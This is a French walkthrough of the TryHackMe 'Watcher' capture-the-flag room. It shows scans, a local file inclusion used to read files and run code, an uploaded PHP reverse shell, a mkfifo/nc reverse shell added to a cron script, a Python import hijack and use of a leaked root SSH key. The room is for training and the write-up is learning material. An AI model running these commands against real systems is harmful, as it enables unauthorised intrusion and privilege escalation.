Voici mon walkthrough de la salle Watcher sur TryHackMe. Il y a sept flags à trouver, sans aucune description supplémentaire.
- Salle : Watcher
- Difficulté : Moyenne
- URL : https://tryhackme.com/room/watcher
Scan
La première chose à faire lorsqu’on attaque une box est de la scanner. Je le fais habituellement en trois étapes :
- Un scan agressif sur les 10 000 premiers ports (
nmap -A -oN nmap.txt target) - Un scan de vulnérabilités sur les 10 000 premiers ports (
nmap -script vuln -oN nmapVuln.txt target) - Un scan SYN sur tous les ports (
sudo nmap -sS -p- -oN nmapFull.txt target)
Voici les résultats du premier scan :
# Nmap 7.91 scan initiated Sun Mar 14 09:11:24 2021 as: nmap -A -oN nmap.txt target
Nmap scan report for target (10.10.208.34)
Host is up (0.23s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e1:80:ec:1f:26:9e:32:eb:27:3f:26:ac:d2:37:ba:96 (RSA)
| 256 36:ff:70:11:05:8e:d4:50:7a:29:91:58:75:ac:2e:76 (ECDSA)
|_ 256 48:d2:3e:45:da:0c:f0:f6:65:4e:f9:78:97:37:aa:8a (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Jekyll v4.1.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Corkplacemats
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 14 09:11:51 2021 -- 1 IP address (1 host up) scanned in 27.64 seconds
Les scans de vulnérabilités et le scan complet n’ont rien apporté de plus d’intéressant.
Le premier port ouvert est pour le FTP. La connexion anonyme ne semble pas être autorisée, mais essayons quand même.
ftp target
Connected to target.
220 (vsFTPd 3.0.3)
Name (target:ehogue): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
Pas de chance ici, alors regardons le site web sur le port 80.
Site web
En naviguant vers http://target/, on obtient un site sur les napperons en liège. Un coup d’œil rapide à la requête dans Burp ne montre rien d’intéressant.
Cependant, il y a un fichier robots.txt qui contient deux entrées.
Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt
Naviguer vers http://target/flag_1.txt nous donne notre premier flag. http://target/secret_file_do_not_read.txt est interdit.
Maintenant, je commence à scanner le site à la recherche de pages cachées. J’utilise GoBuster pour scanner les sites web. J’utilise habituellement deux listes différentes pour le faire. Je devrais probablement construire une seule liste avec uniquement les valeurs uniques issues de ces deux-là.
gobuster dir -e -u http://target/ -t30 -w /usr/share/dirb/wordlists/common.txt | tee gobuster.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://target/
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/03/14 13:09:21 Starting gobuster in directory enumeration mode
===============================================================
http://target/.hta (Status: 403) [Size: 271]
http://target/.htaccess (Status: 403) [Size: 271]
http://target/.htpasswd (Status: 403) [Size: 271]
http://target/css (Status: 301) [Size: 298] [--> http://target/css/]
http://target/images (Status: 301) [Size: 301] [--> http://target/images/]
http://target/index.php (Status: 200) [Size: 4826]
http://target/robots.txt (Status: 200) [Size: 69]
http://target/server-status (Status: 403) [Size: 271]
===============================================================
2021/03/14 13:10:00 Finished
===============================================================
Rien de très intéressant ici.
Pendant que GoBuster s’exécutait, j’ai commencé à explorer le site. Lorsque j’ai cliqué sur l’un des articles, il pointait vers cette url : http://target/post.php?post=striped.php . Cela ressemblait à quelque chose qui pourrait être utilisé pour une attaque de type Local File Inclusion (LFI).
Je l’ai donc utilisée pour tenter de lire le fichier secret auquel je ne pouvais pas accéder plus tôt. J’ai chargé http://target/post.php?post=secret_file_do_not_read.txt et ça a fonctionné. Le fichier contient le message suivant :
Hi Mat,
The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files.
Will
----------
ftpuser:PASSWORD
Nous avons maintenant les identifiants du serveur FTP. Cela laisse aussi entendre que nous pourrons écrire des fichiers sur le serveur FTP, et où ils seront sauvegardés.
D’abord, assurons-nous que le code est exécuté lorsqu’il est inclus. J’ai tenté d’inclure index.php pour voir s’il allait afficher le contenu, ou l’exécuter.
Chargez http://target/post.php?post=index.php, vous verrez la page d’index chargée à l’intérieur de la page de l’article.

Ensuite, j’ai tenté d’obtenir le code source de post.php pour voir s’il y avait du filtrage, ou si je pouvais l’utiliser pour charger n’importe quel fichier.
Charger http://target/post.php?post=php://filter/convert.base64-encode/resource=post.php m’a donné le code source PHP encodé en base64. Je l’ai décodé, et j’ai vu qu’il n’y a aucun filtrage. On peut charger n’importe quel fichier du serveur.
<div class="col-8">
<?php include $_GET["post"]; ?>
</div>
Obtenir un shell
Je savais maintenant que je pouvais utiliser le serveur FTP pour téléverser un fichier, puis l’exécuter sur le serveur grâce à la vulnérabilité LFI.
ftp target
Connected to target.
220 (vsFTPd 3.0.3)
Name (target:ehogue): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
dr-xr-xr-x 3 65534 65534 4096 Dec 03 01:58 .
dr-xr-xr-x 3 65534 65534 4096 Dec 03 01:58 ..
drwxr-xr-x 2 1001 1001 4096 Dec 03 03:30 files
-rw-r--r-- 1 0 0 21 Dec 03 01:58 flag_2.txt
226 Directory send OK.
ftp> get flag_2.txt
local: flag_2.txt remote: flag_2.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for flag_2.txt (21 bytes).
226 Transfer complete.
21 bytes received in 0.00 secs (84.0484 kB/s)
Nous avons trouvé le deuxième flag sur le serveur FTP. On voit aussi que le dossier files est accessible en écriture, nous pouvons donc y pousser notre reverse shell.
J’utilise le reverse shell PHP qui est disponible dans Kali à /usr/share/webshells/php/php-reverse-shell.php.
ftp> cd files
250 Directory successfully changed.
ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5492 bytes sent in 0.00 secs (5.8002 MB/s)
Selon le message trouvé plus tôt, ce fichier devrait maintenant se trouver à /home/ftpuser/ftp/filesphp-reverse-shell.php.
J’ai démarré un listener Netcat dans ma VM Kali (nc -lvnp 4444). Puis j’ai chargé http://target/post.php?post=/home/ftpuser/ftp/files/php-reverse-shell.php dans un navigateur. J’ai obtenu une connexion sur mon listener.
J’ai stabilisé mon shell avec les commandes suivantes :
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Hit Ctrl-z to go background the shell
stty raw -echo;fg
À partir de là, j’ai trouvé un troisième flag dans les fichiers du site web.
www-data@watcher:/$ whoami
www-data
www-data@watcher:/$ ls /var/www/html/
bunch.php images post.php secret_file_do_not_read.txt
css index.php robots.txt striped.php
flag_1.txt more_secrets_a9f10a round.php
www-data@watcher:/$ ls /var/www/html/more_secrets_a9f10a/
flag_3.txt
www-data@watcher:/$ cat /var/www/html/more_secrets_a9f10a/flag_3.txt
FLAG{SOME FLAG}
Escalade vers Toby
Maintenant que nous avons un shell, nous devons tenter d’élever nos privilèges.
La première chose à faire est de vérifier si l’utilisateur courant peut exécuter sudo. www-data ne devrait pas pouvoir, mais c’est une bonne idée de vérifier quand même.
sudo -l
Matching Defaults entries for www-data on watcher:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on watcher:
(toby) NOPASSWD: ALL
www-data est autorisé à exécuter n’importe quelle commande en tant que toby.
sudo -utoby bash -p
toby@watcher:/$ whoami
toby
toby@watcher:/$ ls -l /home/toby/
total 12
-rw------- 1 toby toby 21 Dec 3 01:58 flag_4.txt
drwxrwxr-x 2 toby toby 4096 Dec 3 03:31 jobs
-rw-r--r-- 1 mat mat 89 Dec 12 15:25 note.txt
Nous avons notre 4e flag.
Escalade vers Mat
Nous devons trouver un moyen d’élever à nouveau nos privilèges. sudo -l requiert un mot de passe, nous devons donc trouver autre chose.
Il y a un fichier note.txt dans le dossier home, regardons-le.
cat note.txt
Hi Toby,
I've got the cron jobs set up now so don't worry about getting that done.
Mat
On dirait qu’il y a un cron job qui s’exécute, probablement en tant que Mat, que nous pourrions être en mesure d’utiliser. Il y a un dossier jobs, et il contient un fichier sh.
ls -l jobs/
total 4
-rwxr-xr-x 1 toby toby 46 Dec 3 03:31 cow.sh
toby@watcher:~$ cat jobs/cow.sh
#!/bin/bash
cp /home/mat/cow.jpg /tmp/cow.jpg
Il s’agit peut-être du cron du message. Et nous pouvons y écrire. J’ai donc modifié le fichier pour y ajouter une connexion reverse shell, démarré un autre listener Netcat et attendu une connexion.
Ajoutez ceci à jobs/cow.sh
mkfifo /tmp/kirxhbg; nc 10.13.3.36 4445 0</tmp/kirxhbg | /bin/sh >/tmp/kirxhbg 2>&1; rm /tmp/kirxhbg
La prochaine fois que le cron s’exécutera, vous obtiendrez une nouvelle connexion.
nc -lvnp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.157.89 55670
whoami
mat
ls /home/mat
cow.jpg
flag_5.txt
note.txt
scripts
Voilà le flag #5.
Escalade vers Will
Ce shell était plutôt instable, j’ai donc copié ma clé publique ssh sur le serveur et je me suis reconnecté par ssh.
mkdir .ssh
echo "My Public Key" > .ssh/authorized_keys
chmod 700 .ssh
chmod 600 .ssh/authorized_keys
Une fois connecté, il y a un autre fichier note.txt dans le dossier home.
cat note.txt
Hi Mat,
I've set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe.
Will
Effectivement, nous pouvons exécuter un script python en tant que will sans mot de passe.
sudo -l
Matching Defaults entries for mat on watcher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mat may run the following commands on watcher:
(will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *
Nous ne sommes pas autorisés à modifier le script, mais voyons ce qu’il fait.
mat@watcher:~$ ls -l scripts/will_script.py
-rw-r--r-- 1 will will 208 Dec 3 01:58 scripts/will_script.py
mat@watcher:~$ cat scripts/will_script.py
import os
import sys
from cmd import get_command
cmd = get_command(sys.argv[1])
whitelist = ["ls -lah", "id", "cat /etc/passwd"]
if cmd not in whitelist:
print("Invalid command!")
exit()
os.system(cmd)
Le script lit une commande depuis la ligne de commande, puis l’envoie à get_command et l’exécute si elle fait partie des trois commandes autorisées.
La partie intéressante est get_command, qui est importée de cmd.py, lequel se trouve dans le même dossier que le script.
mat@watcher:~$ ls -la scripts/cmd.py
-rw-r--r-- 1 mat mat 133 Dec 3 03:31 scripts/cmd.py
mat@watcher:~$ cat scripts/cmd.py
def get_command(num):
if(num == "1"):
return "ls -lah"
if(num == "2"):
return "id"
if(num == "3"):
return "cat /etc/passwd"
Nous pouvons écrire dans ce fichier. Nous pouvons donc le modifier pour démarrer un nouveau shell bash en tant que Will. Nous devons ajouter un import de os. Puis ajouter ce qui suit au début de la fonction get_command.
os.system('/bin/bash -p')
Après cela, nous pouvons exécuter le script python en tant que will et obtenir un shell.
mat@watcher:~$ sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1
will@watcher:~$ whoami
will
will@watcher:~$ ls -l /home/will/
total 4
-rw------- 1 will will 41 Dec 3 01:58 flag_6.txt
Nous avons le flag 6.
Escalade vers root
Pour cette étape, il n’y a pas de fichier note.txt pour nous donner un indice. Exécuter sudo -l requiert un mot de passe, donc pas de chance de ce côté non plus.
J’ai vérifié les groupes de l’utilisateur, et il fait partie du groupe adm. Cela semblait intéressant.
J’ai cherché des fichiers appartenant à ce groupe. Et j’ai trouvé un dossier backups contenant un fichier : key.b64.
J’ai décodé le fichier, et il contenait une clé privée ssh.
cat /opt/backups/key.b64 | base64 -d
-----BEGIN RSA PRIVATE KEY-----
...
4APxI1DxU+a2xXXf02dsQH0H5AhNCiTBD7I5YRsM1bOEqjFdZgv6SA==
-----END RSA PRIVATE KEY-----
J’ai pris cette clé, l’ai copiée dans un fichier sur ma machine et modifié ses permissions à 600. Puis je l’ai utilisée pour me reconnecter au serveur en tant que root.
ssh root@target -i root_id_rsa
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-128-generic x86_64)
root@watcher:~# ls -l
total 4
-rw-r--r-- 1 root root 31 Dec 3 02:26 flag_7.txt
C’était notre dernier flag.
C’est une box amusante à rooter. Avec beaucoup d’étapes. Je ne suis pas sûr qu’elle devrait être classée comme difficulté moyenne. Toutes les étapes étaient plutôt faciles à réaliser. Surtout avec les fichiers note.txt qui donnent d’énormes indices.
Texte aussi publié sur : https://erichogue.ca/2021/03/TryHackMe-Walkthrough-Watcher/